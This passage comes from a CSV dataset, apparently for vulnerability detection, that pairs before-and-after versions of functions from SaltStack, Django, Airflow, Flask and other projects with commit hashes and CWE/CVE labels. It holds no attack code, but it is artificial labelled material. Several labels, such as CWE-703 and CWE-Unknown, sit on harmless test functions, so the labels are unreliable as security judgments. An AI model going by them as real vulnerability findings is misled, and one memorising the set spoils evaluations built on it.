        with patch.object(genesis, '_bootstrap_pacman', return_value='A') as pacman_patch:
            with patch.dict(genesis.__salt__, {'mount.umount': MagicMock(),
                                               'file.rmdir': MagicMock(),
                                               'file.directory_exists': MagicMock(),
                                               'disk.blkid': MagicMock(return_value={})}):
                genesis.bootstrap('pacman', 'root', 'dir')
                pacman_patch.assert_called_with('root', img_format='dir', exclude_pkgs=[], pkgs=[])",,saltstack/salt,9ada7f626c9c6970dac122f5792aefb9a841a235,"def test_bootstrap(self):
        '''
        Test for Create an image for a specific platform.
        '''
        mock = MagicMock(return_value=False)
        with patch.dict(genesis.__salt__, {'file.directory_exists': mock}):
            mock = MagicMock(side_effect=Exception('foo'))
            with patch.dict(genesis.__salt__, {'file.mkdir': mock}):
                self.assertEqual(genesis.bootstrap('platform', 'root'),
                                 {'Error': ""Exception('foo',)""})

        with patch.object(genesis, '_bootstrap_yum', return_value='A'):
            with patch.dict(genesis.__salt__, {'mount.umount': MagicMock(),
                                               'file.rmdir': MagicMock(),
                                               'file.directory_exists': MagicMock()}):
                with patch.dict(genesis.__salt__, {'disk.blkid': MagicMock(return_value={})}):
                    self.assertEqual(genesis.bootstrap('rpm', 'root', 'dir'), None)

        common_parms = {'platform': 'deb',
                        'root': 'root',
                        'img_format': 'dir',
                        'arch': 'amd64',
                        'flavor': 'stable',
                        'static_qemu': 'qemu'}

        param_sets = [

            {'params': {},
             'cmd': ['debootstrap', '--foreign', '--arch', 'amd64',
                     'stable', 'root', 'http://ftp.debian.org/debian/']
             },

            {'params': {'pkgs': 'vim'},
             'cmd': ['debootstrap', '--foreign', '--arch', 'amd64',
                     '--include', 'vim',
                     'stable', 'root', 'http://ftp.debian.org/debian/']
             },

            {'params': {'pkgs': 'vim,emacs'},
             'cmd': ['debootstrap', '--foreign', '--arch', 'amd64',
                     '--include', 'vim,emacs',
                     'stable', 'root', 'http://ftp.debian.org/debian/']
             },

            {'params': {'pkgs': ['vim', 'emacs']},
             'cmd': ['debootstrap', '--foreign', '--arch', 'amd64',
                     '--include', 'vim,emacs',
                     'stable', 'root', 'http://ftp.debian.org/debian/']
             },

            {'params': {'pkgs': ['vim', 'emacs'], 'exclude_pkgs': ['vim', 'foo']},
             'cmd': ['debootstrap', '--foreign', '--arch', 'amd64',
                     '--include', 'vim,emacs', '--exclude', 'vim,foo',
                     'stable', 'root', 'http://ftp.debian.org/debian/']
             },

        ]

        for param_set in param_sets:

            with patch.dict(genesis.__salt__, {'mount.umount': MagicMock(),
                                               'file.rmdir': MagicMock(),
                                               'file.directory_exists': MagicMock(),
                                               'cmd.run': MagicMock(),
                                               'disk.blkid': MagicMock(return_value={})}):
                with patch('salt.modules.genesis.salt.utils.which', return_value=True):
                    param_set['params'].update(common_parms)
                    self.assertEqual(genesis.bootstrap(**param_set['params']), None)
                    genesis.__salt__['cmd.run'].assert_any_call(param_set['cmd'], python_shell=False)

        with patch.object(genesis, '_bootstrap_pacman', return_value='A') as pacman_patch:
            with patch.dict(genesis.__salt__, {'mount.umount': MagicMock(),
                                               'file.rmdir': MagicMock(),
                                               'file.directory_exists': MagicMock(),
                                               'disk.blkid': MagicMock(return_value={})}):
                genesis.bootstrap('pacman', 'root', 'dir')
                pacman_patch.assert_called_with('root', img_format='dir', exclude_pkgs=[], pkgs=[])"
,UNKNOWN,UNKNOWN,tests/entities/test_assessment.py,1,"def test_feedback_value_proto_dict_conversion(value, error):
    feedback = FeedbackValue(value, error)
    proto = feedback.to_proto()
    assert isinstance(proto, ProtoFeedback)

    result = FeedbackValue.from_proto(proto)
    assert result.value == result.value
    assert result.error == result.error

    feedback_dict = feedback.to_dictionary()
    result = FeedbackValue.from_dictionary(feedback_dict)
    assert result.value == result.value
    assert result.error == result.error",CWE-703,mlflow/mlflow,910815ad9d95646c23dc84777270ee804ddf1a22,"def test_feedback_value_proto_dict_conversion(value, error):
    feedback = FeedbackValue(value, error)
    proto = feedback.to_proto()
    assert isinstance(proto, ProtoFeedback)

    result = FeedbackValue.from_proto(proto)
    assert result.value == result.value
    assert result.error == result.error

    feedback_dict = feedback.to_dictionary()
    result = FeedbackValue.from_dictionary(feedback_dict)
    assert result.value == result.value
    assert result.error == result.error"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/utils/baseconv.py,0,"def convert(self, number, from_digits, to_digits, sign):
        if str(number)[0] == sign:
            number = str(number)[1:]
            neg = 1
        else:
            neg = 0

        # make an integer out of the number
        x = 0
        for digit in str(number):
            x = x * len(from_digits) + from_digits.index(digit)

        # create the result in base 'len(to_digits)'
        if x == 0:
            res = to_digits[0]
        else:
            res = ''
            while x > 0:
                digit = x % len(to_digits)
                res = to_digits[digit] + res
                x = int(x // len(to_digits))
        return neg, res",CWE-Unknown,django/django,967be82443b5640d61608a89897d8ce2bc44fa54,"def convert(self, number, from_digits, to_digits, sign):
        if str(number)[0] == sign:
            number = str(number)[1:]
            neg = 1
        else:
            neg = 0

        # make an integer out of the number
        x = 0
        for digit in str(number):
            x = x * len(from_digits) + from_digits.index(digit)

        # create the result in base 'len(to_digits)'
        if x == 0:
            res = to_digits[0]
        else:
            res = ''
            while x > 0:
                digit = x % len(to_digits)
                res = to_digits[digit] + res
                x = int(x // len(to_digits))
        return neg, res"
,UNKNOWN,UNKNOWN,tests/template_tests/tests.py,1,"def test_templates(self):
        template_tests = self.get_template_tests()
        filter_tests = filters.get_filter_tests()

        # Quickly check that we aren't accidentally using a name in both
        # template and filter tests.
        overlapping_names = [name for name in filter_tests if name in template_tests]
        assert not overlapping_names, 'Duplicate test name(s): %s' % ', '.join(overlapping_names)

        template_tests.update(filter_tests)

        cache_loader = setup_test_template_loader(
            dict((name, t[0]) for name, t in six.iteritems(template_tests)),
            use_cached_loader=True,
        )

        failures = []
        tests = sorted(template_tests.items())

        # Set TEMPLATE_STRING_IF_INVALID to a known string.
        expected_invalid_str = 'INVALID'

        # Warm the URL reversing cache. This ensures we don't pay the cost
        # warming the cache during one of the tests.
        urlresolvers.reverse('template_tests.views.client_action',
                             kwargs={'id': 0, 'action': ""update""})

        for name, vals in tests:
            if isinstance(vals[2], tuple):
                normal_string_result = vals[2][0]
                invalid_string_result = vals[2][1]

                if isinstance(invalid_string_result, tuple):
                    expected_invalid_str = 'INVALID %s'
                    invalid_string_result = invalid_string_result[0] % invalid_string_result[1]
                    template_base.invalid_var_format_string = True

                try:
                    template_debug_result = vals[2][2]
                except IndexError:
                    template_debug_result = normal_string_result

            else:
                normal_string_result = vals[2]
                invalid_string_result = vals[2]
                template_debug_result = vals[2]

            with translation.override(vals[1].get('LANGUAGE_CODE', 'en-us')):

                for invalid_str, template_debug, result in [
                        ('', False, normal_string_result),
                        (expected_invalid_str, False, invalid_string_result),
                        ('', True, template_debug_result)
                ]:
                    with override_settings(TEMPLATE_STRING_IF_INVALID=invalid_str,
                                           TEMPLATE_DEBUG=template_debug):
                        for is_cached in (False, True):
                            try:
                                try:
                                    with warnings.catch_warnings():
                                        # Ignore deprecations of the old syntax of the 'cycle' and 'firstof' tags.
                                        warnings.filterwarnings(""ignore"", category=DeprecationWarning, module='django.template.base')
                                        # Ignore pending deprecations of loading 'ssi' and 'url' tags from future.
                                        warnings.filterwarnings(""ignore"", category=PendingDeprecationWarning, module='django.templatetags.future')
                                        test_template = loader.get_template(name)
                                except ShouldNotExecuteException:
                                    failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Template loading invoked method that shouldn't have been invoked."" % (is_cached, invalid_str, template_debug, name))

                                try:
                                    with warnings.catch_warnings():
                                        # Ignore deprecation of fix_ampersands
                                        warnings.filterwarnings(""ignore"", category=DeprecationWarning, module='django.template.defaultfilters')
                                        output = self.render(test_template, vals)
                                except ShouldNotExecuteException:
                                    failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Template rendering invoked method that shouldn't have been invoked."" % (is_cached, invalid_str, template_debug, name))
                            except ContextStackException:
                                failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Context stack was left imbalanced"" % (is_cached, invalid_str, template_debug, name))
                                continue
                            except Exception:
                                exc_type, exc_value, exc_tb = sys.exc_info()
                                if exc_type != result:
                                    tb = '\n'.join(traceback.format_exception(exc_type, exc_value, exc_tb))
                                    failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Got %s, exception: %s\n%s"" % (is_cached, invalid_str, template_debug, name, exc_type, exc_value, tb))
                                continue
                            if output != result:
                                failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Expected %r, got %r"" % (is_cached, invalid_str, template_debug, name, result, output))
                        cache_loader.reset()

                if template_base.invalid_var_format_string:
                    expected_invalid_str = 'INVALID'
                    template_base.invalid_var_format_string = False

        restore_template_loaders()

        self.assertEqual(failures, [], ""Tests failed:\n%s\n%s"" %
            ('-' * 70, (""\n%s\n"" % ('-' * 70)).join(failures)))",CWE-703,django/django,3273bd7b254680a5b241e2fdbc3196956b2b44e8,"def test_templates(self):
        template_tests = self.get_template_tests()
        filter_tests = filters.get_filter_tests()

        # Quickly check that we aren't accidentally using a name in both
        # template and filter tests.
        overlapping_names = [name for name in filter_tests if name in template_tests]
        assert not overlapping_names, 'Duplicate test name(s): %s' % ', '.join(overlapping_names)

        template_tests.update(filter_tests)

        cache_loader = setup_test_template_loader(
            dict((name, t[0]) for name, t in six.iteritems(template_tests)),
            use_cached_loader=True,
        )

        failures = []
        tests = sorted(template_tests.items())

        # Set TEMPLATE_STRING_IF_INVALID to a known string.
        expected_invalid_str = 'INVALID'

        # Warm the URL reversing cache. This ensures we don't pay the cost
        # warming the cache during one of the tests.
        urlresolvers.reverse('template_tests.views.client_action',
                             kwargs={'id': 0, 'action': ""update""})

        for name, vals in tests:
            if isinstance(vals[2], tuple):
                normal_string_result = vals[2][0]
                invalid_string_result = vals[2][1]

                if isinstance(invalid_string_result, tuple):
                    expected_invalid_str = 'INVALID %s'
                    invalid_string_result = invalid_string_result[0] % invalid_string_result[1]
                    template_base.invalid_var_format_string = True

                try:
                    template_debug_result = vals[2][2]
                except IndexError:
                    template_debug_result = normal_string_result

            else:
                normal_string_result = vals[2]
                invalid_string_result = vals[2]
                template_debug_result = vals[2]

            with translation.override(vals[1].get('LANGUAGE_CODE', 'en-us')):

                for invalid_str, template_debug, result in [
                        ('', False, normal_string_result),
                        (expected_invalid_str, False, invalid_string_result),
                        ('', True, template_debug_result)
                ]:
                    with override_settings(TEMPLATE_STRING_IF_INVALID=invalid_str,
                                           TEMPLATE_DEBUG=template_debug):
                        for is_cached in (False, True):
                            try:
                                try:
                                    with warnings.catch_warnings():
                                        # Ignore deprecations of the old syntax of the 'cycle' and 'firstof' tags.
                                        warnings.filterwarnings(""ignore"", category=DeprecationWarning, module='django.template.base')
                                        # Ignore pending deprecations of loading 'ssi' and 'url' tags from future.
                                        warnings.filterwarnings(""ignore"", category=PendingDeprecationWarning, module='django.templatetags.future')
                                        test_template = loader.get_template(name)
                                except ShouldNotExecuteException:
                                    failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Template loading invoked method that shouldn't have been invoked."" % (is_cached, invalid_str, template_debug, name))

                                try:
                                    output = self.render(test_template, vals)
                                except ShouldNotExecuteException:
                                    failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Template rendering invoked method that shouldn't have been invoked."" % (is_cached, invalid_str, template_debug, name))
                            except ContextStackException:
                                failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Context stack was left imbalanced"" % (is_cached, invalid_str, template_debug, name))
                                continue
                            except Exception:
                                exc_type, exc_value, exc_tb = sys.exc_info()
                                if exc_type != result:
                                    tb = '\n'.join(traceback.format_exception(exc_type, exc_value, exc_tb))
                                    failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Got %s, exception: %s\n%s"" % (is_cached, invalid_str, template_debug, name, exc_type, exc_value, tb))
                                continue
                            if output != result:
                                failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Expected %r, got %r"" % (is_cached, invalid_str, template_debug, name, result, output))
                        cache_loader.reset()

                if template_base.invalid_var_format_string:
                    expected_invalid_str = 'INVALID'
                    template_base.invalid_var_format_string = False

        restore_template_loaders()

        self.assertEqual(failures, [], ""Tests failed:\n%s\n%s"" %
            ('-' * 70, (""\n%s\n"" % ('-' * 70)).join(failures)))"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/base/zmqhandlers.py,0,"def set_default_headers(self):
        """"""Undo the set_default_headers in IPythonHandler
        
        which doesn't make sense for websockets
        """"""
        pass",,jupyter/notebook,624f0071a2639b7239914333d59c7ecbaec519b6,"def set_default_headers(self):
        """"""Undo the set_default_headers in IPythonHandler
        
        which doesn't make sense for websockets
        """"""
        pass"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/staticfiles/management/commands/collectstatic.py,0,"def delete_file(self, path, prefixed_path, source_storage):
        """"""
        Checks if the target file should be deleted if it already exists
        """"""
        if self.storage.exists(prefixed_path):
            try:
                # When was the target file modified last time?
                target_last_modified = self.storage.get_modified_time(prefixed_path)
            except (OSError, NotImplementedError, AttributeError):
                # The storage doesn't support get_modified_time() or failed
                pass
            else:
                try:
                    # When was the source file modified last time?
                    source_last_modified = source_storage.get_modified_time(path)
                except (OSError, NotImplementedError, AttributeError):
                    pass
                else:
                    # The full path of the target file
                    if self.local:
                        full_path = self.storage.path(prefixed_path)
                        # If it's --link mode and the path isn't a link (i.e.
                        # the previous collectstatic wasn't with --link) or if
                        # it's non-link mode and the path is a link (i.e. the
                        # previous collectstatic was with --link), the old
                        # links/files must be deleted so it's not safe to skip
                        # unmodified files.
                        can_skip_unmodified_files = not (self.symlink ^ os.path.islink(full_path))
                    else:
                        full_path = None
                        # In remote storages, skipping is only based on the
                        # modified times since symlinks aren't relevant.
                        can_skip_unmodified_files = True
                    # Avoid sub-second precision (see #14665, #19540)
                    file_is_unmodified = (
                        target_last_modified.replace(microsecond=0) >=
                        source_last_modified.replace(microsecond=0)
                    )
                    if file_is_unmodified and can_skip_unmodified_files:
                        if prefixed_path not in self.unmodified_files:
                            self.unmodified_files.append(prefixed_path)
                        self.log(""Skipping '%s' (not modified)"" % path)
                        return False
            # Then delete the existing file if really needed
            if self.dry_run:
                self.log(""Pretending to delete '%s'"" % path)
            else:
                self.log(""Deleting '%s'"" % path)
                self.storage.delete(prefixed_path)
        return True",CWE-Unknown,django/django,c85831e4b7b5a7e4249df10327175b7251cb012d,"def delete_file(self, path, prefixed_path, source_storage):
        """"""
        Checks if the target file should be deleted if it already exists
        """"""
        if self.storage.exists(prefixed_path):
            try:
                # When was the target file modified last time?
                target_last_modified = self.storage.get_modified_time(prefixed_path)
            except (OSError, NotImplementedError, AttributeError):
                # The storage doesn't support get_modified_time() or failed
                pass
            else:
                try:
                    # When was the source file modified last time?
                    source_last_modified = source_storage.get_modified_time(path)
                except (OSError, NotImplementedError, AttributeError):
                    pass
                else:
                    # The full path of the target file
                    if self.local:
                        full_path = self.storage.path(prefixed_path)
                    else:
                        full_path = None
                    # Skip the file if the source file is younger
                    # Avoid sub-second precision (see #14665, #19540)
                    if (target_last_modified.replace(microsecond=0) >= source_last_modified.replace(microsecond=0) and
                            full_path and not (self.symlink ^ os.path.islink(full_path))):
                        if prefixed_path not in self.unmodified_files:
                            self.unmodified_files.append(prefixed_path)
                        self.log(""Skipping '%s' (not modified)"" % path)
                        return False
            # Then delete the existing file if really needed
            if self.dry_run:
                self.log(""Pretending to delete '%s'"" % path)
            else:
                self.log(""Deleting '%s'"" % path)
                self.storage.delete(prefixed_path)
        return True"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/lib/ansible_test/_internal/core_ci.py,0,"def generate_key_pair(self, args):  # type: (EnvironmentConfig) -> t.Tuple[str, str]
        """"""Generate an SSH key pair for use by all ansible-test invocations for the current user.""""""
        key, pub = self.get_source_key_pair_paths()

        if not args.explain:
            make_dirs(os.path.dirname(key))

        if not os.path.isfile(key) or not os.path.isfile(pub):
            run_command(args, ['ssh-keygen', '-m', 'PEM', '-q', '-t', self.KEY_TYPE, '-N', '', '-f', key], capture=True)

            if args.explain:
                return key, pub

            # newer ssh-keygen PEM output (such as on RHEL 8.1) is not recognized by paramiko
            key_contents = read_text_file(key)
            key_contents = re.sub(r'(BEGIN|END) PRIVATE KEY', r'\1 RSA PRIVATE KEY', key_contents)

            write_text_file(key, key_contents)

        return key, pub",,ansible/ansible,62d03c8e752ee35057031a91d7028e0a2e5d43e4,"def generate_key_pair(self, args):  # type: (EnvironmentConfig) -> t.Tuple[str, str]
        """"""Generate an SSH key pair for use by all ansible-test invocations for the current user.""""""
        key, pub = self.get_source_key_pair_paths()

        if not args.explain:
            make_dirs(os.path.dirname(key))

        if not os.path.isfile(key) or not os.path.isfile(pub):
            run_command(args, ['ssh-keygen', '-m', 'PEM', '-q', '-t', self.KEY_TYPE, '-N', '', '-f', key])

            if args.explain:
                return key, pub

            # newer ssh-keygen PEM output (such as on RHEL 8.1) is not recognized by paramiko
            key_contents = read_text_file(key)
            key_contents = re.sub(r'(BEGIN|END) PRIVATE KEY', r'\1 RSA PRIVATE KEY', key_contents)

            write_text_file(key, key_contents)

        return key, pub"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/find_file.py,0,"def walk_sbs(self, find_file):
        ret = None
        sbs = self.get_sbs()

        first_dir = ""/"".join(find_file.split(""/"")[:2])
        
        for (sb, path) in sbs:

            if len(path) > 1 and not path.startswith(first_dir):
                continue

            if path != ""/"":
                parent = path
            else:
                parent = """"

            ret = self.walk_sb(sb.s_root, find_file, None, parent = parent)
            
            if ret:
                break

        return ret",,volatilityfoundation/volatility,f28cf5141184e83133397597cd17a489354e8da6,"def walk_sbs(self, find_file):
        ret = None
        sbs = self.get_sbs()

        first_dir = ""/"".join(find_file.split(""/"")[:2])
        
        for (sb, path) in sbs:

            if len(path) > 1 and not path.startswith(first_dir):
                continue

            if path != ""/"":
                parent = path
            else:
                parent = """"

            ret = self.walk_sb(sb.s_root, find_file, None, parent=parent)
            
            if ret:
                break

        return ret"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,scripts/ci/pre_commit/pre_commit_check_pre_commit_hooks.py,0,"def get_errors_and_hooks(content: Any, max_length: int) -> tuple[list[str], dict[str, list[str]], list[str]]:
    errors = []
    hooks: dict[str, list[str]] = defaultdict(list)
    needs_image = False
    image_hooks = []
    for repo in content[""repos""]:
        for hook in repo[""hooks""]:
            if ""id"" in hook:
                hook_id = hook[""id""]
            else:
                errors.append(f""The id is missing in {hook}"")
                continue
            if hook_id == ""run-mypy-dev"":
                needs_image = True
            if ""name"" not in hook:
                errors.append(
                    f""Name is missing in hook `{hook_id}` in {PRE_COMMIT_YAML_FILE}. Please add it!""
                )
                continue
            name = hook[""name""]
            if len(name) > max_length:
                errors.append(
                    f""Name is too long for hook `{hook_id}` in {PRE_COMMIT_YAML_FILE}. Please shorten it!""
                )
                continue
            hooks[hook_id].append(name)
            if needs_image:
                image_hooks.append(hook_id)
    return errors, hooks, image_hooks",CWE-Unknown,apache/airflow,89579a4ef7970879290e01611ed558e6540e56b6,"def get_errors_and_hooks(content: Any, max_length: int) -> tuple[list[str], dict[str, list[str]], list[str]]:
    errors = []
    hooks: dict[str, list[str]] = defaultdict(list)
    needs_image = False
    image_hooks = []
    for repo in content[""repos""]:
        for hook in repo[""hooks""]:
            if ""id"" in hook:
                hook_id = hook[""id""]
            else:
                errors.append(f""The id is missing in {hook}"")
                continue
            if hook_id == ""run-mypy"":
                needs_image = True
            if ""name"" not in hook:
                errors.append(
                    f""Name is missing in hook `{hook_id}` in {PRE_COMMIT_YAML_FILE}. Please add it!""
                )
                continue
            name = hook[""name""]
            if len(name) > max_length:
                errors.append(
                    f""Name is too long for hook `{hook_id}` in {PRE_COMMIT_YAML_FILE}. Please shorten it!""
                )
                continue
            hooks[hook_id].append(name)
            if needs_image:
                image_hooks.append(hook_id)
    return errors, hooks, image_hooks"
,UNKNOWN,UNKNOWN,tests/kubernetes/test_client.py,1,"def test_load_file_config(self, config):
        get_kube_client(in_cluster=False)
        assert config.load_incluster_config.not_called
        assert config.load_kube_config.called",CWE-703,apache/airflow,cfce076abd7718fdfff8d928a57b510c6b49531c,"def test_load_file_config(self, config):
        get_kube_client(in_cluster=False)
        assert config.load_incluster_config.not_called
        assert config.load_kube_config.called"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/testsuite/helpers.py,0,"def test_jsonify(self):
        d = dict(a=23, b=42, c=[1, 2, 3])
        app = flask.Flask(__name__)
        @app.route('/kw')
        def return_kwargs():
            return flask.jsonify(**d)
        @app.route('/dict')
        def return_dict():
            return flask.jsonify(d)
        c = app.test_client()
        for url in '/kw', '/dict':
            rv = c.get(url)
            self.assert_equal(rv.mimetype, 'application/json')
            self.assert_equal(flask.json.loads(rv.data), d)",,pallets/flask,8339cb35082fc93d3a9c98616aed7fe0c1c642dc,"def test_jsonify(self):
        d = dict(a=23, b=42, c=[1, 2, 3])
        app = flask.Flask(__name__)
        @app.route('/kw')
        def return_kwargs():
            return flask.jsonify(**d)
        @app.route('/dict')
        def return_dict():
            return flask.jsonify(d)
        c = app.test_client()
        for url in '/kw', '/dict':
            rv = c.get(url)
            self.assert_equal(rv.mimetype, 'application/json')
            self.assert_equal(flask.json.loads(rv.data), d)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_nftables.py,1,"def test_chain_present():
    """"""
    Test to verify the chain is exist.
    """"""
    ret = {""name"": ""salt"", ""changes"": {}, ""result"": True, ""comment"": """"}
    mock = MagicMock(
        side_effect=[
            {""result"": True, ""comment"": """"},
            {""result"": False, ""comment"": """"},
            {""result"": False, ""comment"": """"},
        ]
    )
    with patch.dict(nftables.__salt__, {""nftables.check_chain"": mock}):
        ret.update(
            {""comment"": ""nftables salt chain is already exist in filter table for ipv4""}
        )
        assert nftables.chain_present(""salt"") == ret

        mock = MagicMock(
            side_effect=[
                {""result"": True, ""comment"": """"},
                {""result"": False, ""comment"": """"},
            ]
        )
        with patch.dict(nftables.__salt__, {""nftables.new_chain"": mock}):
            with patch.dict(nftables.__opts__, {""test"": False}):
                ret.update(
                    {
                        ""changes"": {""locale"": ""salt""},
                        ""comment"": (
                            ""nftables salt chain in filter table create success for""
                            "" ipv4""
                        ),
                    }
                )
                assert nftables.chain_present(""salt"") == ret

                ret.update(
                    {
                        ""changes"": {},
                        ""comment"": (
                            ""Failed to create salt chain in filter table:  for ipv4""
                        ),
                        ""result"": False,
                    }
                )
                assert nftables.chain_present(""salt"") == ret",CWE-703,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_chain_present():
    """"""
    Test to verify the chain is exist.
    """"""
    ret = {""name"": ""salt"", ""changes"": {}, ""result"": True, ""comment"": """"}
    mock = MagicMock(
        side_effect=[
            {""result"": True, ""comment"": """"},
            {""result"": False, ""comment"": """"},
            {""result"": False, ""comment"": """"},
        ]
    )
    with patch.dict(nftables.__salt__, {""nftables.check_chain"": mock}):
        ret.update(
            {""comment"": ""nftables salt chain is already exist in filter table for ipv4""}
        )
        assert nftables.chain_present(""salt"") == ret

        mock = MagicMock(
            side_effect=[
                {""result"": True, ""comment"": """"},
                {""result"": False, ""comment"": """"},
            ]
        )
        with patch.dict(nftables.__salt__, {""nftables.new_chain"": mock}):
            with patch.dict(nftables.__opts__, {""test"": False}):
                ret.update(
                    {
                        ""changes"": {""locale"": ""salt""},
                        ""comment"": ""nftables salt chain in filter table create success for ipv4"",
                    }
                )
                assert nftables.chain_present(""salt"") == ret

                ret.update(
                    {
                        ""changes"": {},
                        ""comment"": ""Failed to create salt chain in filter table:  for ipv4"",
                        ""result"": False,
                    }
                )
                assert nftables.chain_present(""salt"") == ret"
,CVE-2024-45230,UNKNOWN,tests/template_tests/filter_tests/test_urlize.py,1,"def test_trailing_semicolon(self):
        self.assertEqual(
            urlize(""http://example.com?x=&amp;"", autoescape=False),
            '<a href=""http://example.com?x="" rel=""nofollow"">'
            ""http://example.com?x=&amp;</a>"",
        )
        self.assertEqual(
            urlize(""http://example.com?x=&amp;;"", autoescape=False),
            '<a href=""http://example.com?x="" rel=""nofollow"">'
            ""http://example.com?x=&amp;</a>;"",
        )
        self.assertEqual(
            urlize(""http://example.com?x=&amp;;;"", autoescape=False),
            '<a href=""http://example.com?x="" rel=""nofollow"">'
            ""http://example.com?x=&amp;</a>;;"",
        )
        self.assertEqual(
            urlize(""http://example.com?x=&amp.;...;"", autoescape=False),
            '<a href=""http://example.com?x="" rel=""nofollow"">'
            ""http://example.com?x=&amp</a>.;...;"",
        )",CWE-79,django/django,022ab0a75c76ab2ea31dfcc5f2cf5501e378d397,"def test_trailing_semicolon(self):
        self.assertEqual(
            urlize(""http://example.com?x=&amp;"", autoescape=False),
            '<a href=""http://example.com?x="" rel=""nofollow"">'
            ""http://example.com?x=&amp;</a>"",
        )
        self.assertEqual(
            urlize(""http://example.com?x=&amp;;"", autoescape=False),
            '<a href=""http://example.com?x="" rel=""nofollow"">'
            ""http://example.com?x=&amp;</a>;"",
        )
        self.assertEqual(
            urlize(""http://example.com?x=&amp;;;"", autoescape=False),
            '<a href=""http://example.com?x="" rel=""nofollow"">'
            ""http://example.com?x=&amp;</a>;;"",
        )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/win_lgpo.py,0,"def __init__(self):
        self.audit_lookup = {
            0: 'No auditing',
            1: 'Success',
            2: 'Failure',
            3: 'Success, Failure',
            'Not Defined': 'Not Defined',
            None: 'Not Defined',
        }
        self.sc_removal_lookup = {
            0: 'No Action',
            1: 'Lock Workstation',
            2: 'Force Logoff',
            3: 'Disconnect if a Remote Desktop Services session',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.uac_admin_prompt_lookup = {
            0: 'Elevate without prompting',
            1: 'Prompt for credentials on the secure desktop',
            2: 'Prompt for consent on the secure desktop',
            3: 'Prompt for credentials',
            4: 'Prompt for consent',
            5: 'Prompt for consent for non-Windows binaries',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.uac_user_prompt_lookup = {
            0: 'Automatically deny elevation requests',
            1: 'Prompt for credentials on the secure desktop',
            3: 'Prompt for credentials',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.enabled_one_disabled_zero = {
            0: 'Disabled',
            1: 'Enabled',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.enabled_one_disabled_zero_transform = {
            'Get': '_dict_lookup',
            'Put': '_dict_lookup',
            'GetArgs': {
                'lookup': self.enabled_one_disabled_zero,
                'value_lookup': False,
            },
            'PutArgs': {
                'lookup': self.enabled_one_disabled_zero,
                'value_lookup': True,
            },
        }
        self.s4u2self_options = {
            0: 'Default',
            1: 'Enabled',
            2: 'Disabled',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.audit_transform = {
            'Get': '_dict_lookup',
            'Put': '_dict_lookup',
            'GetArgs': {
                'lookup': self.audit_lookup,
                'value_lookup': False,
            },
            'PutArgs': {
                'lookup': self.audit_lookup,
                'value_lookup': True,
            },
        }
        self.enabled_one_disabled_zero_strings = {
            '0': 'Disabled',
            '1': 'Enabled',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.enabled_one_disabled_zero_strings_transform = {
            'Get': '_dict_lookup',
            'Put': '_dict_lookup',
            'GetArgs': {
                'lookup': self.enabled_one_disabled_zero_strings,
                'value_lookup': False,
            },
            'PutArgs': {
                'lookup': self.enabled_one_disabled_zero_strings,
                'value_lookup': True,
            },
        }
        self.security_options_gpedit_path = [
            'Computer Configuration',
            'Windows Settings',
            'Security Settings',
            'Local Policies',
            'Security Options'
        ]
        self.password_policy_gpedit_path = [
            'Computer Configuration',
            'Windows Settings',
            'Security Settings',
            'Account Policies',
            'Password Policy'
        ]
        self.audit_policy_gpedit_path = [
            'Computer Configuration',
            'Windows Settings',
            'Security Settings',
            'Local Policies',
            'Audit Policy'
        ]
        self.account_lockout_policy_gpedit_path = [
            'Computer Configuration',
            'Windows Settings',
            'Security Settings',
            'Account Policies',
            'Account Lockout Policy'
        ]
        self.user_rights_assignment_gpedit_path = [
            'Computer Configuration',
            'Windows Settings',
            'Security Settings',
            'Local Policies',
            'User Rights Assignment'
        ]
        self.block_ms_accounts = {
            0: 'This policy is disabled',
            1: 'Users can\'t add Microsoft accounts',
            3: 'Users can\'t add or log on with Microsoft accounts',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.ldap_server_signing_requirements = {
            1: 'None',
            2: 'Require signing',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.smb_server_name_hardening_levels = {
            0: 'Off',
            1: 'Accept if provided by client',
            2: 'Require from client',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.locked_session_user_info = {
            1: 'User display name, domain and user names',
            2: 'User display name only',
            3: 'Do not display user information',
            None: 'Not Defined',
            '(value not set)': 'Not Defined',
        }
        self.force_guest = {
